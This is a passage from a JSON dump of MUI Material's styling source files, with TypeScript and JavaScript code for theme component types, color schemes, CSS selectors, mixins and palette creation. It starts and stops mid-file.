defaultProps?: ComponentsProps['MuiPopover'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiPopover'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiPopover'] | undefined;\n      }\n    | undefined;\n  MuiRadio?:\n    | {\n        defaultProps?: ComponentsProps['MuiRadio'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiRadio'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiRadio'] | undefined;\n      }\n    | undefined;\n  MuiRadioGroup?:\n    | {\n        defaultProps?: ComponentsProps['MuiRadioGroup'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiRadioGroup'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiRadioGroup'] | undefined;\n      }\n    | undefined;\n  MuiRating?:\n    | {\n        defaultProps?: ComponentsProps['MuiRating'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiRating'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiRating'] | undefined;\n      }\n    | undefined;\n  MuiScopedCssBaseline?:\n    | {\n        defaultProps?: ComponentsProps['MuiScopedCssBaseline'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiScopedCssBaseline'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiScopedCssBaseline'] | undefined;\n      }\n    | undefined;\n  MuiSelect?:\n    | {\n        defaultProps?: ComponentsProps['MuiSelect'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSelect'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSelect'] | undefined;\n      }\n    | undefined;\n  MuiSkeleton?:\n    | {\n        defaultProps?: ComponentsProps['MuiSkeleton'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSkeleton'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSkeleton'] | undefined;\n      }\n    | undefined;\n  MuiSlider?:\n    | {\n        defaultProps?: ComponentsProps['MuiSlider'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSlider'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSlider'] | undefined;\n      }\n    | undefined;\n  MuiSnackbar?:\n    | {\n        defaultProps?: ComponentsProps['MuiSnackbar'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSnackbar'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSnackbar'] | undefined;\n      }\n    | undefined;\n  MuiSnackbarContent?:\n    | {\n        defaultProps?: ComponentsProps['MuiSnackbarContent'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSnackbarContent'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSnackbarContent'] | undefined;\n      }\n    | undefined;\n  MuiSpeedDial?:\n    | {\n        defaultProps?: ComponentsProps['MuiSpeedDial'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSpeedDial'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSpeedDial'] | undefined;\n      }\n    | undefined;\n  MuiSpeedDialAction?:\n    | {\n        defaultProps?: ComponentsProps['MuiSpeedDialAction'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSpeedDialAction'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSpeedDialAction'] | undefined;\n      }\n    | undefined;\n  MuiSpeedDialIcon?:\n    | {\n        defaultProps?: ComponentsProps['MuiSpeedDialIcon'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSpeedDialIcon'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSpeedDialIcon'] | undefined;\n      }\n    | undefined;\n  MuiStack?:\n    | {\n        defaultProps?: ComponentsProps['MuiStack'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiStack'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiStack'] | undefined;\n      }\n    | undefined;\n  MuiStep?:\n    | {\n        defaultProps?: ComponentsProps['MuiStep'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiStep'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiStep'] | undefined;\n      }\n    | undefined;\n  MuiStepButton?:\n    | {\n        defaultProps?: ComponentsProps['MuiStepButton'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiStepButton'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiStepButton'] | undefined;\n      }\n    | undefined;\n  MuiStepConnector?:\n    | {\n        defaultProps?: ComponentsProps['MuiStepConnector'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiStepConnector'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiStepConnector'] | undefined;\n      }\n    | undefined;\n  MuiStepContent?:\n    | {\n        defaultProps?: ComponentsProps['MuiStepContent'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiStepContent'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiStepContent'] | undefined;\n      }\n    | undefined;\n  MuiStepIcon?:\n    | {\n        defaultProps?: ComponentsProps['MuiStepIcon'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiStepIcon'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiStepIcon'] | undefined;\n      }\n    | undefined;\n  MuiStepLabel?:\n    | {\n        defaultProps?: ComponentsProps['MuiStepLabel'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiStepLabel'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiStepLabel'] | undefined;\n      }\n    | undefined;\n  MuiStepper?:\n    | {\n        defaultProps?: ComponentsProps['MuiStepper'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiStepper'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiStepper'] | undefined;\n      }\n    | undefined;\n  MuiSvgIcon?:\n    | {\n        defaultProps?: ComponentsProps['MuiSvgIcon'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSvgIcon'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSvgIcon'] | undefined;\n      }\n    | undefined;\n  MuiSwipeableDrawer?:\n    | {\n        defaultProps?: ComponentsProps['MuiSwipeableDrawer'] | undefined;\n      }\n    | undefined;\n  MuiSwitch?:\n    | {\n        defaultProps?: ComponentsProps['MuiSwitch'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiSwitch'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiSwitch'] | undefined;\n      }\n    | undefined;\n  MuiTab?:\n    | {\n        defaultProps?: ComponentsProps['MuiTab'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTab'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTab'] | undefined;\n      }\n    | undefined;\n  MuiTable?:\n    | {\n        defaultProps?: ComponentsProps['MuiTable'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTable'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTable'] | undefined;\n      }\n    | undefined;\n  MuiTableBody?:\n    | {\n        defaultProps?: ComponentsProps['MuiTableBody'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTableBody'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTableBody'] | undefined;\n      }\n    | undefined;\n  MuiTableCell?:\n    | {\n        defaultProps?: ComponentsProps['MuiTableCell'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTableCell'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTableCell'] | undefined;\n      }\n    | undefined;\n  MuiTableContainer?:\n    | {\n        defaultProps?: ComponentsProps['MuiTableContainer'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTableContainer'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTableContainer'] | undefined;\n      }\n    | undefined;\n  MuiTableFooter?:\n    | {\n        defaultProps?: ComponentsProps['MuiTableFooter'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTableFooter'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTableFooter'] | undefined;\n      }\n    | undefined;\n  MuiTableHead?:\n    | {\n        defaultProps?: ComponentsProps['MuiTableHead'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTableHead'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTableHead'] | undefined;\n      }\n    | undefined;\n  MuiTablePagination?:\n    | {\n        defaultProps?: ComponentsProps['MuiTablePagination'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTablePagination'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTablePagination'] | undefined;\n      }\n    | undefined;\n  MuiTablePaginationActions?:\n    | {\n        defaultProps?: ComponentsProps['MuiTablePaginationActions'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTablePaginationActions'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTablePaginationActions'] | undefined;\n      }\n    | undefined;\n  MuiTableRow?:\n    | {\n        defaultProps?: ComponentsProps['MuiTableRow'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTableRow'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTableRow'] | undefined;\n      }\n    | undefined;\n  MuiTableSortLabel?:\n    | {\n        defaultProps?: ComponentsProps['MuiTableSortLabel'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTableSortLabel'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTableSortLabel'] | undefined;\n      }\n    | undefined;\n  MuiTabs?:\n    | {\n        defaultProps?: ComponentsProps['MuiTabs'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTabs'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTabs'] | undefined;\n      }\n    | undefined;\n  MuiTextField?:\n    | {\n        defaultProps?: ComponentsProps['MuiTextField'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTextField'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTextField'] | undefined;\n      }\n    | undefined;\n  MuiToggleButton?:\n    | {\n        defaultProps?: ComponentsProps['MuiToggleButton'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiToggleButton'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiToggleButton'] | undefined;\n      }\n    | undefined;\n  MuiToggleButtonGroup?:\n    | {\n        defaultProps?: ComponentsProps['MuiToggleButtonGroup'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiToggleButtonGroup'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiToggleButtonGroup'] | undefined;\n      }\n    | undefined;\n  MuiToolbar?:\n    | {\n        defaultProps?: ComponentsProps['MuiToolbar'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiToolbar'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiToolbar'] | undefined;\n      }\n    | undefined;\n  MuiTooltip?:\n    | {\n        defaultProps?: ComponentsProps['MuiTooltip'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTooltip'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTooltip'] | undefined;\n      }\n    | undefined;\n  MuiTypography?:\n    | {\n        defaultProps?: ComponentsProps['MuiTypography'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTypography'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiTypography'] | undefined;\n      }\n    | undefined;\n  MuiUseMediaQuery?:\n    | {\n        defaultProps?: ComponentsProps['MuiUseMediaQuery'] | undefined;\n      }\n    | undefined;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createColorScheme.ts",
    "content": "import type { ColorSystemOptions } from './createThemeWithVars';\nimport createPalette, { PaletteOptions } from './createPalette';\nimport getOverlayAlpha from './getOverlayAlpha';\n\nconst defaultDarkOverlays = [...Array(25)].map((_, index) => {\n  if (index === 0) {\n    return 'none';\n  }\n  const overlay = getOverlayAlpha(index);\n  return `linear-gradient(rgba(255 255 255 / ${overlay}), rgba(255 255 255 / ${overlay}))`;\n});\n\nexport function getOpacity(mode: 'light' | 'dark') {\n  return {\n    inputPlaceholder: mode === 'dark' ? 0.5 : 0.42,\n    inputUnderline: mode === 'dark' ? 0.7 : 0.42,\n    switchTrackDisabled: mode === 'dark' ? 0.2 : 0.12,\n    switchTrack: mode === 'dark' ? 0.3 : 0.38,\n  };\n}\nexport function getOverlays(mode: 'light' | 'dark') {\n  return mode === 'dark' ? defaultDarkOverlays : [];\n}\n\nexport default function createColorScheme(\n  options: ColorSystemOptions & { colorSpace?: string | undefined },\n) {\n  const {\n    palette: paletteInput = { mode: 'light' } as PaletteOptions, // need to cast to avoid module augmentation test\n    opacity,\n    overlays,\n    colorSpace,\n    ...other\n  } = options;\n  // need to cast because `colorSpace` is considered internal at the moment.\n  const palette = createPalette({ ...paletteInput, colorSpace } as PaletteOptions);\n  return {\n    palette,\n    opacity: { ...getOpacity(palette.mode), ...opacity },\n    overlays: overlays || getOverlays(palette.mode),\n    ...other,\n  } as unknown as ColorSystemOptions;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createGetSelector.ts",
    "content": "import excludeVariablesFromRoot from './excludeVariablesFromRoot';\n\nexport default <\n    T extends {\n      rootSelector?: string | undefined;\n      colorSchemeSelector?: 'media' | 'class' | 'data' | string | undefined;\n      colorSchemes?: Record<string, any> | undefined;\n      defaultColorScheme?: string | undefined;\n      cssVarPrefix?: string | undefined;\n    },\n  >(\n    theme: T,\n  ) =>\n  (colorScheme: keyof T['colorSchemes'] | undefined, css: Record<string, any>) => {\n    const root = theme.rootSelector || ':root';\n    const selector = theme.colorSchemeSelector;\n    let rule = selector;\n    if (selector === 'class') {\n      rule = '.%s';\n    }\n    if (selector === 'data') {\n      rule = '[data-%s]';\n    }\n    if (selector?.startsWith('data-') && !selector.includes('%s')) {\n      // 'data-mui-color-scheme' -> '[data-mui-color-scheme=\"%s\"]'\n      rule = `[${selector}=\"%s\"]`;\n    }\n    if (theme.defaultColorScheme === colorScheme) {\n      if (colorScheme === 'dark') {\n        const excludedVariables: typeof css = {};\n        excludeVariablesFromRoot(theme.cssVarPrefix).forEach((cssVar) => {\n          excludedVariables[cssVar] = css[cssVar];\n          delete css[cssVar];\n        });\n        if (rule === 'media') {\n          return {\n            [root]: css,\n            [`@media (prefers-color-scheme: dark)`]: {\n              [root]: excludedVariables,\n            },\n          };\n        }\n        if (rule) {\n          return {\n            [rule.replace('%s', colorScheme)]: excludedVariables,\n            [`${root}, ${rule.replace('%s', colorScheme)}`]: css,\n          };\n        }\n        return { [root]: { ...css, ...excludedVariables } };\n      }\n      if (rule && rule !== 'media') {\n        return `${root}, ${rule.replace('%s', String(colorScheme))}`;\n      }\n    } else if (colorScheme) {\n      if (rule === 'media') {\n        return {\n          [`@media (prefers-color-scheme: ${String(colorScheme)})`]: {\n            [root]: css,\n          },\n        };\n      }\n      if (rule) {\n        return rule.replace('%s', String(colorScheme));\n      }\n    }\n    return root;\n  };\n"
  },
  {
    "path": "packages/mui-material/src/styles/createMixins.d.ts",
    "content": "import * as CSS from 'csstype';\nimport { Breakpoints } from '@mui/system';\n\nexport type NormalCssProperties = CSS.Properties<number | string>;\nexport type Fontface = CSS.AtRule.FontFace & { fallbacks?: CSS.AtRule.FontFace[] | undefined };\n\n/**\n * Allows the user to augment the properties available\n */\nexport interface BaseCSSProperties extends NormalCssProperties {\n  '@font-face'?: Fontface | Fontface[] | undefined;\n}\n\nexport interface CSSProperties extends BaseCSSProperties {\n  // Allow pseudo selectors and media queries\n  // `unknown` is used since TS does not allow assigning an interface without\n  // an index signature to one with an index signature. This is to allow type safe\n  // module augmentation.\n  // Technically we want any key not typed in `BaseCSSProperties` to be of type\n  // `CSSProperties` but this doesn't work. The index signature needs to cover\n  // BaseCSSProperties as well. Usually you would use `BaseCSSProperties[keyof BaseCSSProperties]`\n  // but this would not allow assigning React.CSSProperties to CSSProperties\n  [k: string]: unknown | CSSProperties;\n}\n\nexport interface Mixins {\n  toolbar: CSSProperties;\n  // ... use interface declaration merging to add custom mixins\n}\n\nexport interface MixinsOptions extends Partial<Mixins> {\n  // ... use interface declaration merging to add custom mixin options\n}\n\nexport default function createMixins(breakpoints: Breakpoints, mixins: MixinsOptions): Mixins;\n"
  },
  {
    "path": "packages/mui-material/src/styles/createMixins.js",
    "content": "export default function createMixins(breakpoints, mixins) {\n  return {\n    toolbar: {\n      minHeight: 56,\n      [breakpoints.up('xs')]: {\n        '@media (orientation: landscape)': {\n          minHeight: 48,\n        },\n      },\n      [breakpoints.up('sm')]: {\n        minHeight: 64,\n      },\n    },\n    ...mixins,\n  };\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createMixins.spec.ts",
    "content": "import { createTheme, styled } from '@mui/material/styles';\n\n{\n  const theme = createTheme({\n    mixins: {\n      toolbar: {\n        background: '#fff',\n        minHeight: 36,\n        '@media (min-width:0px) and (orientation: landscape)': {\n          minHeight: 24,\n        },\n        '@media (min-width:600px)': {\n          minHeight: 48,\n        },\n      },\n    },\n  });\n}\n\n{\n  const StyledComponent = styled('div')(({ theme }) => ({\n    appBarSpacer: theme.mixins.toolbar,\n    toolbarIcon: {\n      display: 'flex',\n      alignItems: 'center',\n      justifyContent: 'flex-end',\n      padding: '0 8px',\n      ...theme.mixins.toolbar,\n    },\n  }));\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createMixins.test.js",
    "content": "import { expect } from 'chai';\nimport { createTheme } from '@mui/material/styles';\nimport createMixins from './createMixins';\n\ndescribe('createMixins', () => {\n  it('should be able add other mixins', () => {\n    const theme = createTheme();\n    const mixins = createMixins(theme.breakpoints, { test: { display: 'block' } });\n\n    expect(mixins.test).to.deep.equal({\n      display: 'block',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/createMuiStrictModeTheme.js",
    "content": "import deepmerge from '@mui/utils/deepmerge';\nimport createTheme from './createTheme';\n\nexport default function createMuiStrictModeTheme(options, ...args) {\n  return createTheme(\n    deepmerge(\n      {\n        unstable_strictMode: true,\n      },\n      options,\n    ),\n    ...args,\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createPalette.d.ts",
    "content": "export type PaletteMode = 'light' | 'dark';\nexport interface Color {\n  50: string;\n  100: string;\n  200: string;\n  300: string;\n  400: string;\n  500: string;\n  600: string;\n  700: string;\n  800: string;\n  900: string;\n  A100: string;\n  A200: string;\n  A400: string;\n  A700: string;\n}\n\nexport {};\n// use standalone interface over typeof colors/commons\n// to enable module augmentation\nexport interface CommonColors {\n  black: string;\n  white: string;\n}\n\nexport type ColorPartial = Partial<Color>;\n\nexport interface TypeText {\n  primary: string;\n  secondary: string;\n  disabled: string;\n}\n\nexport interface TypeAction {\n  active: string;\n  hover: string;\n  hoverOpacity: number;\n  selected: string;\n  selectedOpacity: number;\n  disabled: string;\n  disabledOpacity: number;\n  disabledBackground: string;\n  focus: string;\n  focusOpacity: number;\n  activatedOpacity: number;\n}\n\nexport interface TypeBackground {\n  default: string;\n  paper: string;\n}\n\nexport type TypeDivider = string;\n\nexport type PaletteColorOptions = SimplePaletteColorOptions | ColorPartial;\n\nexport interface SimplePaletteColorOptions {\n  light?: string | undefined;\n  main: string;\n  dark?: string | undefined;\n  contrastText?: string | undefined;\n}\n\nexport interface PaletteColor {\n  light: string;\n  main: string;\n  dark: string;\n  contrastText: string;\n}\n\nexport interface TypeObject {\n  text: TypeText;\n  action: TypeAction;\n  divider: TypeDivider;\n  background: TypeBackground;\n}\n\nexport type PaletteTonalOffset =\n  | number\n  | {\n      light: number;\n      dark: number;\n    };\n\nexport const light: TypeObject;\nexport const dark: TypeObject;\n\nexport interface PaletteAugmentColorOptions {\n  color: PaletteColorOptions;\n  mainShade?: number | string | undefined;\n  lightShade?: number | string | undefined;\n  darkShade?: number | string | undefined;\n  name?: number | string | undefined;\n}\n\nexport interface Palette {\n  common: CommonColors;\n  mode: PaletteMode;\n  contrastThreshold: number;\n  tonalOffset: PaletteTonalOffset;\n  primary: PaletteColor;\n  secondary: PaletteColor;\n  error: PaletteColor;\n  warning: PaletteColor;\n  info: PaletteColor;\n  success: PaletteColor;\n  grey: Color;\n  text: TypeText;\n  divider: TypeDivider;\n  action: TypeAction;\n  background: TypeBackground;\n  getContrastText: (background: string) => string;\n  augmentColor: (options: PaletteAugmentColorOptions) => PaletteColor;\n}\n\nexport interface Channels {\n  mainChannel: string;\n  lightChannel: string;\n  darkChannel: string;\n  contrastTextChannel: string;\n}\n\nexport type PartialTypeObject = { [P in keyof TypeObject]?: Partial<TypeObject[P]> };\n\nexport interface PaletteOptions {\n  primary?: PaletteColorOptions | undefined;\n  secondary?: PaletteColorOptions | undefined;\n  error?: PaletteColorOptions | undefined;\n  warning?: PaletteColorOptions | undefined;\n  info?: PaletteColorOptions | undefined;\n  success?: PaletteColorOptions | undefined;\n  mode?: PaletteMode | undefined;\n  tonalOffset?: PaletteTonalOffset | undefined;\n  contrastThreshold?: number | undefined;\n  common?: Partial<CommonColors> | undefined;\n  grey?: ColorPartial | undefined;\n  text?: Partial<TypeText> | undefined;\n  divider?: string | undefined;\n  action?: Partial<TypeAction> | undefined;\n  background?: Partial<TypeBackground> | undefined;\n  getContrastText?: ((background: string) => string) | undefined;\n}\n\nexport default function createPalette(palette: PaletteOptions): Palette;\n"
  },
  {
    "path": "packages/mui-material/src/styles/createPalette.js",
    "content": "import deepmerge from '@mui/utils/deepmerge';\nimport { darken, getContrastRatio, lighten } from '@mui/system/colorManipulator';\nimport common from '../colors/common';\nimport grey from '../colors/grey';\nimport purple from '../colors/purple';\nimport red from '../colors/red';\nimport orange from '../colors/orange';\nimport blue from '../colors/blue';\nimport lightBlue from '../colors/lightBlue';\nimport green from '../colors/green';\n\nfunction getLight() {\n  return {\n    // The colors used to style the text.\n    text: {\n      // The most important text.\n      primary: 'rgba(0, 0, 0, 0.87)',\n      // Secondary text.\n      secondary: 'rgba(0, 0, 0, 0.6)',\n      // Disabled text have even lower visual prominence.\n      disabled: 'rgba(0, 0, 0, 0.38)',\n    },\n    // The color used to divide different elements.\n    divider: 'rgba(0, 0, 0, 0.12)',\n    // The background colors used to style the surfaces.\n    // Consistency between these values is important.\n    background: {\n      paper: common.white,\n      default: common.white,\n    },\n    // The colors used to style the action elements.\n    action: {\n      // The color of an active action like an icon button.\n      active: 'rgba(0, 0, 0, 0.54)',\n      // The color of an hovered action.\n      hover: 'rgba(0, 0, 0, 0.04)',\n      hoverOpacity: 0.04,\n      // The color of a selected action.\n      selected: 'rgba(0, 0, 0, 0.08)',\n      selectedOpacity: 0.08,\n      // The color of a disabled action.\n      disabled: 'rgba(0, 0, 0, 0.26)',\n      // The background color of a disabled action.\n      disabledBackground: 'rgba(0, 0, 0, 0.12)',\n      disabledOpacity: 0.38,\n      focus: 'rgba(0, 0, 0, 0.12)',\n      focusOpacity: 0.12,\n      activatedOpacity: 0.12,\n    },\n  };\n}\n\nexport const light = getLight();\n\nfunction getDark() {\n  return {\n    text: {\n      primary: common.white,\n      secondary: 'rgba(255, 255, 255, 0.7)',\n      disabled: 'rgba(255, 255, 255, 0.5)',\n      icon: 'rgba(255, 255, 255, 0.5)',\n    },\n    divider: 'rgba(255, 255, 255, 0.12)',\n    background: {\n      paper: '#121212',\n      default: '#121212',\n    },\n    action: {\n      active: common.white,\n      hover: 'rgba(255, 255, 255, 0.08)',\n      hoverOpacity: 0.08,\n      selected: 'rgba(255, 255, 255, 0.16)',\n      selectedOpacity: 0.16,\n      disabled: 'rgba(255, 255, 255, 0.3)',\n      disabledBackground: 'rgba(255, 255, 255, 0.12)',\n      disabledOpacity: 0.38,\n      focus: 'rgba(255, 255, 255, 0.12)',\n      focusOpacity: 0.12,\n      activatedOpacity: 0.24,\n    },\n  };\n}\n\nexport const dark = getDark();\n\nfunction addLightOrDark(intent, direction, shade, tonalOffset) {\n  const tonalOffsetLight = tonalOffset.light || tonalOffset;\n  const tonalOffsetDark = tonalOffset.dark || tonalOffset * 1.5;\n\n  if (!intent[direction]) {\n    if (intent.hasOwnProperty(shade)) {\n      intent[direction] = intent[shade];\n    } else if (direction === 'light') {\n      intent.light = lighten(intent.main, tonalOffsetLight);\n    } else if (direction === 'dark') {\n      intent.dark = darken(intent.main, tonalOffsetDark);\n    }\n  }\n}\n\nfunction mixLightOrDark(colorSpace, intent, direction, shade, tonalOffset) {\n  const tonalOffsetLight = tonalOffset.light || tonalOffset;\n  const tonalOffsetDark = tonalOffset.dark || tonalOffset * 1.5;\n\n  if (!intent[direction]) {\n    if (intent.hasOwnProperty(shade)) {\n      intent[direction] = intent[shade];\n    } else if (direction === 'light') {\n      intent.light = `color-mix(in ${colorSpace}, ${intent.main}, #fff ${(tonalOffsetLight * 100).toFixed(0)}%)`;\n    } else if (direction === 'dark') {\n      intent.dark = `color-mix(in ${colorSpace}, ${intent.main}, #000 ${(tonalOffsetDark * 100).toFixed(0)}%)`;\n    }\n  }\n}\n\nfunction getDefaultPrimary(mode = 'light') {\n  if (mode === 'dark') {\n    return {\n      main: blue[200],\n      light: blue[50],\n      dark: blue[400],\n    };\n  }\n  return {\n    main: blue[700],\n    light: blue[400],\n    dark: blue[800],\n  };\n}\n\nfunction getDefaultSecondary(mode = 'light') {\n  if (mode === 'dark') {\n    return {\n      main: purple[200],\n      light: purple[50],\n      dark: purple[400],\n    };\n  }\n  return {\n    main: purple[500],\n    light: purple[300],\n    dark: purple[700],\n  };\n}\n\nfunction getDefaultError(mode = 'light') {\n  if (mode === 'dark') {\n    return {\n      main: red[500],\n      light: red[300],\n      dark: red[700],\n    };\n  }\n  return {\n    main: red[700],\n    light: red[400],\n    dark: red[800],\n  };\n}\n\nfunction getDefaultInfo(mode = 'light') {\n  if (mode === 'dark') {\n    return {\n      main: lightBlue[400],\n      light: lightBlue[300],\n      dark: lightBlue[700],\n    };\n  }\n  return {\n    main: lightBlue[700],\n    light: lightBlue[500],\n    dark: lightBlue[900],\n  };\n}\n\nfunction getDefaultSuccess(mode = 'light') {\n  if (mode === 'dark') {\n    return {\n      main: green[400],\n      light: green[300],\n      dark: green[700],\n    };\n  }\n  return {\n    main: green[800],\n    light: green[500],\n    dark: green[900],\n  };\n}\n\nfunction getDefaultWarning(mode = 'light') {\n  if (mode === 'dark') {\n    return {\n      main: orange[400],\n      light: orange[300],\n      dark: orange[700],\n    };\n  }\n  return {\n    main: '#ed6c02', // closest to orange[800] that pass 3:1.\n    light: orange[500],\n    dark: orange[900],\n  };\n}\n\n// Use the same name as the experimental CSS `contrast-color` function.\nexport function contrastColor(background) {\n  return `oklch(from ${background} var(--__l) 0 h / var(--__a))`;\n}\n\nexport default function createPalette(palette) {\n  const {\n    mode = 'light',\n    contrastThreshold = 3,\n    tonalOffset = 0.2,\n    colorSpace,\n    ...other\n  } = palette;\n\n  const primary = palette.primary || getDefaultPrimary(mode);\n  const secondary = palette.secondary || getDefaultSecondary(mode);\n  const error = palette.error || getDefaultError(mode);\n  const info = palette.info || getDefaultInfo(mode);\n  const success = palette.success || getDefaultSuccess(mode);\n  const warning = palette.warning || getDefaultWarning(mode);\n\n  // Use the same logic as\n  // Bootstrap: https://github.com/twbs/bootstrap/blob/1d6e3710dd447de1a200f29e8fa521f8a0908f70/scss/_functions.scss#L59\n  // and material-components-web https://github.com/material-components/material-components-web/blob/ac46b8863c4dab9fc22c4c662dc6bd1b65dd652f/packages/mdc-theme/_functions.scss#L54\n  function getContrastText(background) {\n    if (colorSpace) {\n      return contrastColor(background);\n    }\n    const contrastText =\n      getContrastRatio(background, dark.text.primary) >= contrastThreshold\n        ? dark.text.primary\n        : light.text.primary;\n\n    if (process.env.NODE_ENV !== 'production') {\n      const contrast = getContrastRatio(background, contrastText);\n      if (contrast < 3) {\n        console.error(\n          [\n            `MUI: The contrast ratio of ${contrast}:1 for ${contrastText} on ${background}`,\n            'falls below the WCAG recommended absolute minimum contrast ratio of 3:1.',\n            'https://www.w3.org/TR/2008/REC-WCAG20-20081211/#visual-audio-contrast-contrast',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    return contrastText;\n  }\n\n  const augmentColor = ({ color, name, mainShade = 500, lightShade = 300, darkShade = 700 }) => {\n    color = { ...color };\n    if (!color.main && color[mainShade]) {\n      color.main = color[mainShade];\n    }\n\n    if (!color.hasOwnProperty('main')) {\n      throw /* minify-error */ new Error(\n        `MUI: The color${name ? ` (${name})` : ''} provided to augmentColor(color) is invalid.\\n` +\n          `The color object needs to have a \\`main\\` property or a \\`${mainShade}\\` property.`,\n      );\n    }\n\n    if (typeof color.main !== 'string') {\n      throw /* minify-error */ new Error(\n        `MUI: The color${name ? ` (${name})` : ''} provided to augmentColor(color) is invalid.\\n` +\n          `\\`color.main\\` should be a string, but \\`${JSON.stringify(color.main)}\\` was provided instead.\\n` +\n          '\\n' +\n          'Did you intend to use one of the following approaches?\\n' +\n          '\\n' +\n          'import { green } from \"@mui/material/colors\";\\n' +\n          '\\n' +\n          'const theme1 = createTheme({ palette: {\\n' +\n          '  primary: green,\\n' +\n          '} });\\n' +\n          '\\n' +\n          'const theme2 = createTheme({ palette: {\\n' +\n          '  primary: { main: green[500] },\\n' +\n          '} });',\n      );\n    }\n\n    if (colorSpace) {\n      mixLightOrDark(colorSpace, color, 'light', lightShade, tonalOffset);\n      mixLightOrDark(colorSpace, color, 'dark', darkShade, tonalOffset);\n    } else {\n      addLightOrDark(color, 'light', lightShade, tonalOffset);\n      addLightOrDark(color, 'dark', darkShade, tonalOffset);\n    }\n    if (!color.contrastText) {\n      color.contrastText = getContrastText(color.main);\n    }\n\n    return color;\n  };\n\n  let modeHydrated;\n  if (mode === 'light') {\n    modeHydrated = getLight();\n  } else if (mode === 'dark') {\n    modeHydrated = getDark();\n  }\n\n  